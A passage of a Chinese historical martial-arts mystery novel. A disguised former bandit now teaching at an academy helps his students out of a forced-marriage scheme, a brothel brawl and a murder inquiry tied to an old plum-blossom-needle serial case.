林焕抬手就要去抢婚书,又被另外几个泼皮按住。她倔强的昂着头道:“我死也不会嫁的。”
“那你就去死吧,又没人拦着你。不过……想想你死后,爹娘孤苦无依的模样,你忍心吗?”
“崔安!你这个丧尽天良的畜牲!”林焕咬牙切齿的瞪着表舅。崔安嗤笑一声道:“随你怎么骂,彭夫人。”
“叫谁彭夫人?”巷子的另一边传来声音,红衣率先从转角处飘来。
“依大楚律第一百二十三条,强迫他人签订的文书,文书视为无效。这位大哥,你的买卖怕是做不成。”她的声音不大却很有穿透力。
面对半路杀出来的女子,崔安脸色微变,不过很快恢复镇定,不以为然道:“强迫?谁看到了?”
“我看到了,我也愿意作证。”唐黎面如寒冰,一双眼睛充满怒意。
“臭娘们,信不信我打死你?”崔安撸胳膊挽袖子作势就要动手。
他拳头还没抡出来,唐黎一个鞭腿上前,崔安躲闪不及被踹倒在地,他捂着胸口指挥泼皮道:“瞎了啊!动手!”
唐黎身姿轻盈躲过攻击,转身一掌拍飞个泼皮,又是三脚踹翻两个泼皮。
红色的身影游荡在巷子之中,很快就将这帮人打到哭爹喊娘。趁着众人倒地不起时,她拉过林焕跑出巷子,担忧的问道:“可有受伤?”
大街上喧闹声让林焕缓过神来,她泪眼朦胧望向唐黎,眸子中的惧意还未消退。
“别怕,有我在他们不敢再来。”唐黎搂过她安慰道。
林焕抹掉眼泪道:“我想回家,我担心我爹娘。”
11. 可曾见过白虎山的逆贼?
人都跑没影了,巷子里的泼皮们才互相搀扶着起身。崔安吐了口口水骂道:“臭娘们,跑的了和尚跑不了庙,婚书还在我手里呢。”
“喂!”瘦猴般的男人从墙头翻身而下。紧接着身材壮硕的男子也随之跳下,他们朝着崔安来势汹汹。
崔安感知到危险后退几步道:“你们是谁?”
往日僻静的巷子,怎么也想不到今日会挤进来这么多人。
蔺渊迈着步子不紧不慢的从巷口走来,他伸出手来道:“婚书给我,既往不咎。”
“你们混哪路的?知道老子是谁吗?"
面对对方蛮横的德行,蔺渊笑而不语,脚尖微错让路给石泰。他这位石兄弟向来脾气暴,能动手绝不说话。
石泰一拳抡过去,崔安被狠狠地揍倒在地。他更是一屁股直接坐在崔安脸上,嘿嘿笑着。
崔安还在放着狠话道:“你们到底是何人!也不睁大眼睛看看爷爷是谁?有本事单挑!”
“搬山将,石泰。”
“精巧猿,侯保。”
二人分别报上名号,崔安的脸瞬间白了。
金刚屠被斩首的消息已传遍全城,而江湖中都默认是白虎山所为。崔安瞬间觉得后脖颈凉凉的,连忙作揖求饶,生怕下一个被斩首的是自己。
“不知哪里得罪白虎山的好汉们,还请给个明路。”
蔺渊伸出手去:“婚书。”
“好好好。”他哆哆嗦嗦的将婚书交出去,蔺渊当着他面将婚书撕得粉碎转身就走。
侯保蹲下来拍拍崔安的脸道:“小林姑娘如今由我们白虎山护着,要想在江湖上混日后躲着点她,听没听到!”
“是是是,小的听到了。我不过是跟咱们外甥开个玩笑。”他笑得谄媚。
“最好如此,要是敢报复老子拧下你的脑子当球踢。”石泰起身又给他一脚。
看着崔安灰溜溜的跑掉的身影,石泰嘿嘿笑着道:“我就吓唬他几句,那厮屎尿都吓出来了。”
蔺渊理平衣裳上的褶皱,嘱咐道:“跟上他,看看他是混哪一路的,告诉他家管事的再敢在邓州作奸犯科,欺负弱小……”
石泰接着说道:“白虎山平了他们。”
蔺渊点点头,示意侯保也跟着一块去。侯保拱手道:“哥哥放心,我一定看好石兄弟,不让他莽撞行事。”
安排好一切蔺渊就朝着林家方向走去。那是间不大的猪肉铺,门口石阶油腻到有些打滑好险没摔到蔺渊,他正好身形扶着门框敲响了门。
来应门的是唐黎,她看到蔺渊还是蛮惊讶的。
“是你?”唐黎上下打量着蔺渊,平白无故的出现在此处,难不成他真应承掌事学官来林家告状?
想到这唐黎便不打算让他进院。蔺渊拦住要关门的唐黎道:“学子这是何意?”
“姑娘,是谁敲门?”堂屋里传来中年女子的声音,那是林焕的母亲。
蔺渊趁机直接挤进院,喊道:“大姐,小可蔺万宗是林焕的夫子。”
林母小跑出来。看到院中长身如玉的白衣男子。他面皮俊朗,举止温润有礼,还真是位教书先生。于是颇为恭敬的行礼道:“小妇人见过夫子。”
“使不得,使不得。”蔺渊连忙还礼,挂上招牌笑容柔声道:“有件东西要交与林焕。”
“哦哦哦,夫子稍坐。”她扭头就喊道:“换娘,你夫子来了!”又忙活请蔺渊入座:“我去给你们拿点果子。坐,坐啊。”
蔺渊看向一旁的唐黎,越看越觉得她面善,倒像是曾经见过似的,但那种熟悉感总是转迅即逝。
他也不难为自己,想不起来那便不想。他注意到唐黎脑门处的伤本想关心一下,但唐黎却当没看见似的低头把玩着腰间玉佩,与蔺渊没有半分眼神交流。
二人颇为尴尬的坐上一盏茶的时间,林焕才换好衣裳走进堂屋。
“这个给你。”蔺渊将撕得粉碎的婚书放到桌上。
“婚书?”林焕想起自己与唐黎走的着急,忘记拿回婚书。这次多亏蔺渊,不然表舅凭着婚书就敢上门下聘。
“多谢夫子。”林焕感激不尽的拱手行礼。
“举手之劳。”蔺渊虚扶下学生。
唐黎探究的眼光看向蔺渊,怎么觉得夫子想讨好林焕?
林焕在书院里向来低调,低调的仿佛不存在般,偏偏这位蔺夫子却处处留心与她。
绝对另有所图!
蔺渊转眸看向唐黎,目光正好相对,怎么又是那探究中带着嫌弃的眼神?
他率先开口道:“唐学子,你是对我有什么意见吗?”
林焕紧接着就替唐黎回答道:“没有,她没有。夫子误会了。”
“你不必替她回答。”蔺渊偏偏盯着唐黎。他知道以林焕与唐黎的关系,自己的身份是瞒不住的。怪的是这唐黎不但不惧怕甚至还在挑衅,属实反常。
他哪里知道林焕为了保唐黎的安全,愣是一个字都没说。现在唐黎眼中的蔺渊就是个废话连天,自以为是的迂腐夫子。
嗯.....好吧,其实唐黎对蔺渊确实有那么一丁点好奇。
唐黎嘴角微微上扬,前倾着身子询问道:“夫子下山赴宴,这酒吃的如何?”
蔺渊的解释张口就来:“我下山是为了寻上官竹。不过是与友人打听消息。”
听到找上官竹,林焕方才阴郁的情绪一扫而空,而唐黎却还是那副似笑非笑的表情道:“夫子还挺有人脉的,在酒楼喝喝酒就能打听到消息。”
蔺渊抿了口茶道:“人在江湖混,总要交些朋友。”
“夫子还混过江湖啊?”
面对试探蔺渊也不怵,轻笑几声道:“有人的地方就有江湖,像咱们的书院也是个小江湖。”
林焕夹在中间,不知要怎么说和。正一筹莫展时见母亲端着果子前来,林焕连忙起身给唐黎蔺渊一人分了个果子。
林焕道:“夫子,咱们快去寻上官竹吧。”
“你们不必动身,我去便可。”说完就起身离开。
“夫子。”林焕想去追蔺渊却被唐黎拉住。唐黎悠哉的咬口果子道:“他乐意去就让他去呗。”
“看你这幅模样是知道上官竹在哪?”
“老小子都有人脉,我自然也有。”
“什么老小子?”林焕头摆的像拨浪鼓也没看到唐黎口中的老小子。
至于上官竹所在之所,实在是难以启齿,这也是蔺渊让两位姑娘留下独自前往的原因。
“哎呀呀,这位爷瞧着面生呦。”蔺渊一进门,立马有穿着妖艳的女子迎接他。
蔺渊还是那招牌笑容,掏出碎银子道:“我来寻人,还望姑娘帮忙。”
“您说。”姑娘咬着银子,判断它的真假。
蔺渊还未说话就听二楼传来喧闹声,上官竹的名字赫然出现在那人口中。蔺渊抬手就拿回姑娘手中的银子,径直上了楼。
身后的姑娘甩着手帕在背后骂道:“真是穷书生,酸秀才。”
“臭小子,敢动我刘七的女人。兄弟们剁他一只手!”恶狠狠的声音让人听的不寒而栗,紧接着屋里就传来打斗声。
蔺渊焦急的往楼上去,甚至都没发现自己会如此担心这一面之缘的学生。
他才来到二楼,从栏杆处飞过两道身影,蔺渊连忙俯身喊道:“上官竹!这么高,你不要命了!”
本来上官竹落地挺稳当的,冷不丁的听到自己的大名,他忍不住的腿软差点没坐到地上。
“呦,你爹来了。”满脸横肉的汉子嘲笑道。
这句话让蔺渊颇为尴尬,也没那么老吧?撑死也就大上官竹十岁,不过倒也证明扮老还是很成功的。
上官竹不服气的朝着对方吐口水:“你爹!”
“你爹!”
骂着骂着就打起来。上官竹身行灵巧让对方无可奈何。很快就加入第三人,第四人乃至第五人。
蔺渊见状飞快下楼,劝架道:“以和为贵,莫要
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动手,好汉有话好好说。”
“滚蛋。”刘七揪着蔺渊的衣领直接将他摔出去。
上官竹没能拦住,见蔺渊被推到在地,他凶狠盯着刘七道:“你敢打我家夫子!”
上官竹此刻混劲儿上来,二话不说抄起一旁的椅子就抡过去。眼看越打越厉害,谁也劝不住,老鸨干脆报了官。
两边都打红了眼,刘七带弟兄们暗暗抄起刀剑来。蔺渊暗叹不好,这已经不是小打小闹,刀剑无眼会闹出人命。
立于危险位置的上官竹还处于没有防备状态,蔺渊眼疾手快带他躲过一击。
“夫子?”上官竹站定后狐疑的回头。难不成这弱柳扶风般的夫子会武功?那他刚才还被人推的如此狼狈。
“住手!”蔺渊上前指着刘七的刀,义正言辞的道:“依大楚律第七十六条,除守将兵士外任何人不得佩戴兵刃。阁下这刀剑具全,混哪路的?”
“又是你这个倒霉书生。滚一边去!惹急老子连你一起杀!”
蔺渊半眯着眼对于刘七的警告充耳不闻,挺拔的身姿依旧护在学生身前。
见对方毫不将自己放在眼里,刘七面子上挂不住。手下的弟兄都在看,今日若收拾不了这书生,日后还如何服众。
“呀!”脑袋一热的刘七举起刀便砍过来,而蔺渊一步未动死死盯着他。
就在这时飞过一只快箭射穿刘七的手掌,钢刀掉落在地的声音清晰可闻。
至此危险解除,蔺渊暗暗松了口气,将手从腰间挪开,还是一步未动。
上官竹只当夫子是吓傻了,连忙拉过他朝门外走去,没走几步又被刘七的手下围了个结实。
“伤了我们老大就想走?”
上官竹护着蔺渊道:“那弩箭是我射的,与夫子无关,有事冲我来。”
说话间官兵终于赶到,本来在对面茶楼等消息的林焕见到官兵,紧张道:“快看是当兵的。里面不会出事了吧?”
唐黎探出窗外,恰逢领头的将军回头,二人目光一对,唐黎发出疑惑:“是他。”
“你们认识吗?”
“顾平安,兵马司的。”
“兵马司都来了?别是出什么事了。”林焕继续观察对面情况。
军队进入青楼,威严的阵仗把众人吓了一大跳,老鸨颤声道:“我不是报的官嘛?怎么招来这么多军爷?”
领头的顾平安环顾四周最后将视线停留在蔺渊身上,他道:“听闻此处有白虎山余孽,可有此事?”
众人皆不吭声,顾平安微微点了点头,来到蔺渊面前明知故问道:“先生可曾见过余孽?”
“未曾。”蔺渊微笑着回答道。
“是吗?你最好想明白了再回答我。”顾平安上手捏住蔺渊的肩膀,指头发力捏的骨头吱吱作响。
蔺渊疼到满头是汗,就连说话都是气声,他勉强挤出几个字来:“确实……未曾见过。”
见不得夫子那么难受,上官竹为蔺渊作保道:“夫子真的不知道,他就是个教书先生,哪里知道江湖事。”
“这么说你知道?”顾平安松开蔺渊,转眸看向上官竹。
对方强大的气场让上官竹害怕到吞咽口水,他向后撤步。蔺渊来不及休整,急忙拉住顾平安的胳膊道:“他只是学子,莫要为难他。”
顾平安本不想为难学子,但听到蔺渊的求情后他冷哼一声道:“小小年纪好的不学来逛花楼,给我打五杖杀威棒,丢出去。”
“诶,诶别碰我。”上官竹是真的怕了。他敢跟地痞流氓犯浑,敢跟书院学官耍脾气,可不敢跟这类手握兵权的将军叫板。
“罚的有点重……”蔺渊说话声被女子的尖叫声掩盖,女子逃命般跑下楼来,边跑边喊杀人了!
“死人了!”
老鸨拦住女子道:“胡说什么?没看到官爷们都在。”
“真的死人了!璃羽死了,就在那房间里。那血都流出门外了!”女子颤巍巍的手指指着不远处的屋子。
12. 学子(唐黎)侍奉夫子(蔺渊)天经地义^^……
兵士反应迅速立刻拔刀冲上二楼,调查完汇报情况道:“确有一女子身亡。”
“所有人不得离开此处!”顾平安当即就下令道,随后吩咐手下去知会衙门。
突如其来的命案让上官竹的屁股逃过一劫,他紧挨着蔺渊低声打听道:“这是哪里的将军?如此蛮横?”
“嘘。”蔺渊示意他别说话再把人招来。
可惜晚了,还是被顾平安注意到这边的动静,他大步走到上官竹面前,冷着脸道:“这么好奇我的身份?想告状?”
“就要告状如何?逼供读书人是哪门子的道理!”上官竹硬着头皮要为蔺渊讨回公道。当然,其中也有为自己找回场子的缘故,毕竟差一点就被当众打屁股。
蔺渊继续充当和事佬道:“无碍,都是误会。”
面对蔺渊那窝囊样,上官竹气的直皱眉,不依不饶指着顾平安道:“你且等着,待我回明知府相公今日之事,再和你论论其中道理。”
“道理?我自有道理。”他脚下微动踹向蔺渊腿窝。
蔺渊冷不丁吃痛,不得已单膝跪地。他颇为无奈的长吁一口气,又不是我顶嘴,打我干嘛?现在的他干脆坐在地上摆烂,起都懒得起。
“你!”上官竹梗着脖子又要理论,蔺渊抓住他的手劝他不要冲动,顺便道出顾平安身份。
“兵马司又如何?不去守城跑到这里耀武扬威。再说了追凶查案也不是你的活,就冲你越俎代庖这一条,也可参你一本。”
蔺渊为上官竹解释道:“所有州府的兵马司都归南衙调派,偶尔被南衙借调来查个案子也是常事。”
顾平安白了眼蔺渊,眸中难掩嫌弃。蔺渊则是避开他的视线,捂着胸口清咳几声,感觉自己的骨头都快被顾平安捏碎了。明明看起来是位文质彬彬的年轻相公,性子却这般急躁,一点也沉不住气啊。
官府赶到事发地需要一定时间,在此期间顾平安这队兵士对青楼中的人进行盘问,并筛选出与命案有关的疑犯。
刘七与上官竹。
官府赶到后顺利接手后续工作将一干人等收押。临行前上官竹拉着蔺渊的手道:“我昨晚只是给楼里的姑娘写了几首诗词,璃羽姑娘以琴相和,怎么就成了我杀人啊?”
“……”蔺渊不知道要怎么回答,他并不了解上官竹的脾气秉性,自然不敢在此事上发表言论,只好安慰道:“你不必怕,衙门会还你公正。”
就这样上官竹被衙役拷走,蔺渊紧随其后要离开是非之地,却被泛着冷光的利剑挡住去路。他看向剑的主人道:“顾相公是何意思?”
顾平安也不说话,无论蔺渊怎么绕,他横着剑就是堵在蔺渊的去路上。
那日他前脚刚把蔺渊押进大牢,后脚蔺渊就被南衙统领提走审问。
南衙十六卫乃天子亲卫,他们的话谁敢不从?更何况是莫大统领亲自提人,不得不交啊。只是这人一交就再未回来,还摇身一变成为花洲学院的新夫子。
官匪勾结倒也不是啥稀罕事,过分的是蔺渊不夹着尾巴做人,反而领着土匪在城内大开杀戒,一点也不把兵马司放在眼里。
这便是顾平安针对蔺渊的主要原因,想到这顾平安看向蔺渊的眸子更加冷冽。
“我有进士功名在身,又是书院的夫子,这般羞辱不好吧?”蔺渊提到自己的名头,很是骄傲的昂起头。
见顾平安还是不肯放行,蔺渊干脆径直走过去仿佛面前的剑不存在般。好在顾平安反应够快收剑入鞘,否则蔺渊就会命丧当场,尽管如此他也流了不少血。
顾平安开口就是讥讽道:“还真是视死如归。”
受了伤的蔺渊突然变得硬气起来:“我受莫统领举荐到书院任教,顾相公有任何疑问都可以去问莫统领,何必与我这小小的教书先生计较?若再敢阻拦,蔺某定到莫统领面前表白表白。”
南衙统领的名头确实好用,副将开始劝说自家上官,顾平安好歹放下手中的长剑。
对面的茶楼的唐黎看得真切,不同于担忧不已的林焕,她慢条斯理的抿了口茶。
老小子与顾平安有旧仇?
教书先生与守城将军能有什么仇?值得动上刀剑?
“夫子受了伤,都流血了。”林焕汇报着蔺渊的情况。
唐黎在记忆里搜寻着,顾平安出仕后便一直在邓州任职。与他有过节的怎么也得是混过几天邓州的人。而据我所知蔺夫子是从京城来的,讲话也是地道的京城味儿。
顾平安上来就问夫子蔺渊的下落,怕是查到些什么。
也许……
他今日就是冲夫子来的?
哦,对了。夫子也姓蔺,莫不是与那个土匪蔺渊有某种联系?
“夫子好像伤得挺重。”林焕又拉拉唐黎的衣袖。
唐黎这才舍得把目光投向蔺渊。
不远处的巷子处,蔺渊正扶着墙捂着胸口缓气。虽然看不到他的正脸,仅从佝偻的背影就能看出他此刻并不舒服。
林焕想下楼照顾夫子却被唐黎拉住,唐黎表示:“男人都好面子。他现在能自己走,咱们不宜出面。”
尚且能自己走的蔺渊才迈上几步,大腿粗的木棒从他身后挥来。
“诶那不是我表舅吗?夫子小心……”大声发出提醒的林焕被唐黎捂住嘴巴,而唐黎颇有兴趣的盯着蔺渊。
她已然对蔺渊的身份起疑便想趁机试探。身怀武功之人再怎么想隐瞒,面对突然袭击时也无法做到无任何反应。
可惜蔺渊的表现未能让唐黎满意。
面对偷袭的木棒,蔺渊是非常狼狈地躲开。他连身形都还没能稳住,又是一棒过来,只得蜷起手臂来抵挡,以此来减少受到更重的伤害。
木棒打在手臂上,骨头都要断掉了。蔺渊本就受了伤,此刻更是疼到冷汗直流,眼前发黑。
“呀!”来打击报复的崔安举着木棒,一副不打死对方不罢休的架势。
蔺渊的手摸向腰间,难掩杀意的盯着崔安,似乎下一刻就能将他的头颅割下。
从天而降的红衣飘到蔺渊的视线里,蔺渊的手缓缓离开腰间。木棒因为唐黎的出手援助减缓力度,但还是结结实实的打在蔺渊的肩头。
“咳咳……”蔺渊只觉得眼皮很重,好像有千斤重的东西压住头顶,让人抬不起头来。
他努力想睁开眼睛看清那抹红衣,却怎么也看不真切。晕倒前的蔺渊甚至还听到唐黎骂了句废物。
应……应该说得不是我吧?
“咳。”
“咳咳。”
蔺渊再睁眼时已经回到寓所,他艰难的起身,发现自己的脖子、肩头皆上好了药。
“醒了?”
听到屋内有其他的声音,蔺渊下意识摸向枕头却发现那里藏着的匕首不见了。
“在找这个?”唐黎半依在矮塌上把玩着匕首。
“你怎么在这!?”蔺渊清醒到不能再清醒,他的语速甚至要比往日快上几分。
“身为学生侍奉夫子是份内之事。十八斋的轮班,刚好轮到我。”唐黎走过来,双手奉上匕首道:“只是有一事不明,这匕首为何会在你的枕头之下?”
“没什么。防身。”他说的诚恳,确实是用来防身的。
“哦,防身呀。”唐黎抬手就从自己腰间抽出软剑,晃了晃道:“如此精美的宝剑,也只是用来防身?”
这?自己绕在腰间的软剑什么时候也被拿去?
想起身的蔺渊拉扯到伤口,
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忍不住的皱眉,暗骂几句崔安,这下手也太重了吧。
“宝剑有名字吗?”唐黎蛮有兴趣的问道。
“那不是什么宝剑,一两银子买的玩意儿。”
面对蔺渊的搪塞,唐黎转手使剑将香案劈成两半,笑着道:“一两银子?如此锋利!哪里买的?我也想要诶。”
“……”蔺渊伸手揉了揉太阳穴,他现在头疼欲裂,耳边充盈着唐黎对剑的夸赞,还缠着他要去买剑。
蔺渊不耐其烦,摆手道:“罢了罢了,你要是喜欢送你便是。”
“多谢。”说着就满欢欣喜的将软剑入鞘。但唐黎并没有就此离开,依旧盯着蔺渊。
不会武功,却腰缠软剑。
明明是柄宝剑,却又说不值钱。
前后太过矛盾了吧。
这老小子的身份一定不简单。
蔺渊被她盯得浑身发毛,挣扎的起身道:“你不该待在我房中,男女有别,这样对你的清誉有损。”
“我不是你的学生嘛?”她的表情天真无邪,满眼的青涩。
“那也应该打开门,以证己身。”
“我又不在乎。”她耸了耸肩,继续回到矮塌上把玩着软剑。她是真的不在乎,而且她也不认为夫子与学子能传出什么绯闻来,传出去也得有人信啊。
蔺渊见她没听进去,挣扎地起身去开门。唐黎看他那副柔弱模样,跳下矮塌快走几步抢先推开门。
秋风萧瑟,落叶卷地直接吹进屋中。受伤未愈的蔺渊迎面见了风,咳嗽不止。
唐黎指着门外道:“一会儿还要下雨呢。秋雨可寒,关门不关?”
“不关,咳咳。”
看着蔺渊倔强的背影,唐黎撇了撇嘴道:“也不怕中风。”
“不用你侍奉,快些回去休息吧。”蔺渊咳嗽几声又开始赶人。他怕唐黎待着屋里,指不定又要对什么东西好奇起来。
这姑娘太过敏锐。
唐黎本来就不愿意多待,直接匕首扔给他道:“有事喊人,苏天赐就在隔壁。”
匕首不偏不倚的砸中伤口,蔺渊望着天花板狠狠叹了口气,定是往日作恶太多才会遭此报应。
唐黎回住所的路上碰到林焕提着食盒走来:“你不是去照看夫子嘛?怎么这么快回来?”
“别提那迂腐的老小子,快跟我爹一般岁数还怕损我清誉。两句话就给我赶出来。”
林焕眨眨眼道:“夫子应该没那么老吧。若是把胡子刮掉还是蛮俊朗的。再说了夫子虽说想法迂腐,也是为你着想嘛。”
唐黎冷哼道:“我用他?他多关心关心自己吧。要不是我救他,被崔安敲了闷棍还想活着回书院?”她摆摆手道:“不管他了,上官竹怎么样?”
“衙门不让探视,饭食也没能送进去。”林焕眉眼处尽显担忧。
“此事山长已经知晓,以他与上官家的关系定会出面,安心吧。”
“嗯。”林焕缓缓点头,她还是比较放心的。因为她相信上官竹不会杀人,只要他没有犯法,一切都好说。
“好了,快回寓所歇息吧。”唐黎推着林焕往寓所去。
林焕收拾食盒的功夫,唐黎就换好了黑衣。
“你要出去?”
“嗯,瞅一眼上官竹。”
“一定要注意安全。”
“放心吧。”唐黎颇为自信的笑笑,包好头发就消失在月色中。
唐黎翻窗离开时不小心带落桌上的几本书,林焕收拾起来发现是唐黎课上看的话本子。她起了好奇心,也想看看到底是什么话本能这般吸引人。
“梅花针案?这名字怪怪的。”几下小凉风配合的吹进屋里,尽管觉得头皮发麻但林焕还是继续看了下去。
13. 八年前的旧案
邓州府衙今晚是灯火通明,管辖地界发生命案哪个官员敢回家睡觉?各个精神十倍。
“哎呀,我的小顾相公您就别捣乱了。”身材富态的绿袍官员正满脸愁容。
顾平安拱手道:“刘知县,您知道我会验尸的,就让我进去帮忙吧。”
“你也知道,兵马司的不属于府衙。这实在不合规矩。更何况那是命案啊!命案!”刘知县摸了把头上的汗,伸长脖子等着验尸房那边的消息。
“刘相公……”顾平安还想再磨一磨,刘知县立马道:“下官求求你了,您就别添乱了。”
刘知县的压力实在是大,正所谓三生不幸,知县附郭;三生作恶,附郭州府啊。现在出门右转就是州府衙门,四品知府相公就坐在堂上等消息,那红袍看着就渗人,今晚过后自己头上的纱帽有没有还两说呢。
顾平安见今天没戏,也不愿意在这耗着,拱手道了声告退。刚走几步就觉得不太对劲,他大声一喝剑指南边道:“何方宵小!”伴随这声大喝,他踏着一旁的水缸飞身上屋顶。
屋顶上果然有人,被发现的黑衣人转身就跑,二人在巷子追逐下始终相差五步。顾平安用刀勾过一旁箩筐砸向前方的黑衣人,这才将对方速度逼慢。
“你是何人?敢窥探衙门?”
黑衣人看了眼脖子处的刀,肩膀微顶一个巧劲儿不但躲开刀还顺势打出一掌。
顾平安行伍出身自然是有些本领。他故意露出破绽挨下这一掌,趁机钳制住对方的胳膊让黑衣人退无可退。
正当顾平安要掀开黑衣人的蒙面时,对方突然跺向脚背,那人脚下几下滑动竟将顾平安摔了出去,而黑衣人趁机逃离。
顾平安继续追击,奈何黑衣人轻功着实厉害,很快就消失在黑夜中。他只能悻悻作罢,嘱咐手下加强巡逻,务必揪出可疑人员!
“邓州何时有这样的摔跤高手?莫不是与白虎山有关?”顾平安囔囔道。最近在邓州城出现的江湖人只有蔺渊一行。夜探府衙也像这伙土匪强人的行事风格。
话说回道蔺渊,这厮好像并不会武功。
夜深人静下,唯独一盏昏黄的灯笼照亮着长长的巷子。近来城里发生不少事,又是抓土匪,又是死人的。虽说官府没有明令宵禁,但大家为了安全都自觉的缩在家中。这样情况下哪怕穿着夜行衣在街上也是突兀的。
黑衣人一路往北直到药铺前停了脚步。
“吱呀”门被开起,黑衣人将脸上的黑布揭下,露出一张清丽的脸庞。
“复叔是我,唐黎。”
贾复习以为常的迎她进店,递给她一杯茶道:“今儿又跑哪玩了?小心学官罚你。”
“她们不敢罚我的。”这话她说得肯定。
“府试近在眼前,你也该收收心了。”
“是啊,时间过的可真快。”唐黎端起茶杯浅酌一口,低垂的眸子里闪过一丝忧愁,随即恢复如初。
她将茶杯放下后,抬头看向贾复道:“复叔,今晚我替你看店吧。”
贾复点点头,夜深时分书院早就锁了山门,唐黎是没法回山的。还是老规矩,唐黎住店里有了容身之所,又正好替贾复看店。
后半夜沥沥拉拉落起雨点,连绵的秋雨就这样下到天明。经过一夜的修整蔺渊精神好上不少,但他还是上报学官请假修养一天。
苏天赐替他换过药后就去隔壁研究经书,小木鱼一下敲着一下让人听的抓心挠肝,本就满怀心事的蔺渊像条咸鱼似的在床上翻来覆去无法闭目。
“天赐!”蔺渊忍不住喊他。
很快隔壁传来下床穿鞋的声音。噔噔一路小跑,苏天赐来到床榻前拱手道:“夫子有何吩咐?”
“你的课业不可荒废,我已经与十二斋的夫子打过招呼,这几天你们就听郑夫子的课。”
“是。”苏天赐没有异议。反正夫子讲的他都会,不过是换个地方画符而已。
“去把我的安排通知到唐黎她们。”
“是,学生这就去。”
道士打扮的苏天赐渐行渐远,蔺渊摇头感慨道:“好好的孩子,怎么一心向道呢。”
“你还有功夫关心别人呢。”顾平安的声音从门外传来。
“顾相公?”蔺渊想起身相迎,顾平安却抬手道:“躺着吧。”
今日的顾平安仿佛改了脾气不再针对蔺渊,甚至语气还要柔和上几分。这把蔺渊给搞糊涂了,他低头咳嗽时偷瞟了眼对方,一旁喝茶的顾平安并未有什么异常,还在扯着闲篇。
“二当家的身子骨看起来没那么硬朗啊。”
蔺渊表面赔笑几声,心里却想着:“还不是拜你所赐。”
喝过茶的顾平安起身打量着寓所,寓所打扫的一尘不染,所有物件都摆放齐整,房间内似有似无的飘散着香气。出自主人之手的画作、诗词挂满墙壁。蔺渊住进来才几天啊,就已经将其改造为文人雅士之居所。
顾平安走近床边微微探身道:“我是真好奇,你在土匪窝里是怎么活下去的?你看看你,又爱整洁的,又爱干净的,又爱舞文弄墨的,在白虎山不别扭死你?”
“白虎山挺整洁的,最起码我能使它变得越来越好。”显然他这话中意有所指。
“屋子好歹好改变,不过就是勤打扫,又或是拆掉重建。那人呢?人的心若是黑了,就无法改变。”他目光炯炯地盯着蔺渊。
本来今日想好声好气与蔺渊交谈,谁知对方竟然大言不惭的表示自己能让白虎山向善。干了一辈子杀人越货的土匪流氓,改变他们比让日月颠倒都难。
蔺渊丝毫不怵对方审视的目光道:“我不这般认为。人心是肉长的,即使短暂变黑,但全身流淌的血液终有一日会洗涤出一颗红心来。”
“用鲜血来洗涤黑掉的心?敢问蔺夫子,你需得用多少血来洗?”
“满腔热血。”蔺渊目不转睛的盯着顾平安,平静的表情下带着坚定。他的声音很轻却掷地有声,让顾平安有些恍惚,随即摇头轻笑道:“天真。”
顾平安出现在夫子寓所的事情传到山长的耳中,昨日两人的过节也同样传入山长耳中。怕顾平安再对蔺渊不利,山长直奔寓所来为自家夫子撑腰。
面对苏山长这样威望的老者,顾平安老实的作揖问安。
山长冷哼一声:“小顾相公的礼太大,我们可不敢领。平白无故冤枉好人,伤我夫子,抓我学子,真当我书院破败了?花洲书院自立院以来登第者五十六人,如今在朝为官者一十二人......”
顾平安耷拉着脑袋听着山长细数书院曾经的辉煌,直到苏天赐扶着山长离开。顾平安才回过神来,后知后觉的道:“嗯?走了?”
“走了。”
“太吓人了,一瞬间我还以为又回到学堂之上。”
瞧他那副德行,蔺渊笑道:“没想到英明神武的顾相公竟然怕上学堂。”
“往事不提也罢。”
顾平安转身朝着蔺渊郑重的鞠上一躬,他这是在为昨日之事道歉。
而蔺渊不但从容的接受对方的行礼,还讽刺道:“蔺某只是小小的教书先生,顾相公实在折煞蔺某。我们山长就是那么一说,又不会真让人参你,害你丢掉乌纱帽的。”
顾平安的道歉不单是因为山长那番话,而是因为他打听到这位蔺二爷的一些小道消息,他曾经的身份对自己大有用途。
“蔺夫子在京当过官?”
提到往事蔺渊有意避而不谈,但在顾平安再三追问下,最后还是点头承认了。
顾平安继续追问道:“可曾听过八年前的一桩梅花针案?”
“略有耳闻。”
顾平安从怀里掏出手帕展开,是一根沾了稍许
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血迹的细针。
蔺渊眉头微皱,他觉得此针颇为熟悉,刚要询问顾平安就道:“针头梅花状,与十年前梅花针案中所描述的很像。”
蔺渊隔着帕子捏起细针,仔细看了又看,确实与十年前的梅花针很像。
顾平安讲起此针的来历:“城西陶员外家的女儿自缢身亡,下葬半年后员外总是梦到女儿,死状凄惨。他认为女儿死的冤枉就去衙门报官。
可尸体都已下葬数月,陶员外这没头没脑的敲鼓鸣冤,衙门认为他是丧女悲痛导致精神恍惚,不予受理此案。我与员外有些交情,于是他便找到了我。”
“顾相公的职责应为戍守城池,验尸也会?”
“我的爷爷曾是仵作,耳濡目染会看些尸相。”
蔺渊微微点头示意他继续讲。
“尸身腐败严重,陶小姐是否自缢我看不出来,但从她的头顶发现这枚梅花针针,是否为致死原因我也不清楚。”
蔺渊又点点头,他还在盯着手中的细针若有所思。
顾平安继续说道:“梅花针一案经大理寺发起三司会审,并对凶犯判处极刑。据我所知,当年负责此案的推官相公姓蔺。”
蔺渊轻轻挑眉一笑,将针放回桌上,对此事并不否认道:“你查我?”
“梅花针连环杀人轰动一时,想不知道都难。”他点了点桌子道:“蔺推官,有没有可能凶犯还在潜逃?大理寺断错案了?”
“没有可能。这绝对不是同一人。”蔺渊回答的斩钉截铁。
“你凭什么这般笃定?”
“八年前的梅花针共害八人性命,时间跨度三年之久,但没有一根针上残留过血迹。最重要的是此针为铁针,而十年前的为牛毛细银针。”
“银针那么软怎能穿过头骨?你莫不是记错了?”
“非也,梅花针案的凶手是位杏林高手,杀人方法是将针扎入头顶穴位,故针不见血。而你所诉之事更像是拙劣的模仿,莫要查错方向。”
顾平安听后颇为受教,他坐直身子拱手道:“多谢蔺夫子指点迷津。”
“顾相公客气,日后有任何问题都可以来找蔺.....”不等对方说完话,顾平安拉着蔺渊就要起身:“别日后啊,你这就陪我去看看尸体。”
“诶诶诶。”蔺渊的力气不如顾平安被他拉了个踉跄。
“使不得使不得,我一会儿还有课呢。”蔺渊就差抱着梁柱才没被顾平安拉出屋外,他喘口气拉回差点被顾平安拽走的外袍道:“这两天都有课,实在不得空。”
顾平安松开他的衣袖,上下打量着对方道:“你还真是来书院当夫子的?”
南衙费那么大劲儿把他从牢里提出来,助他隐藏身份,总不会就为了让他当个书院的夫子?
实在说不通。
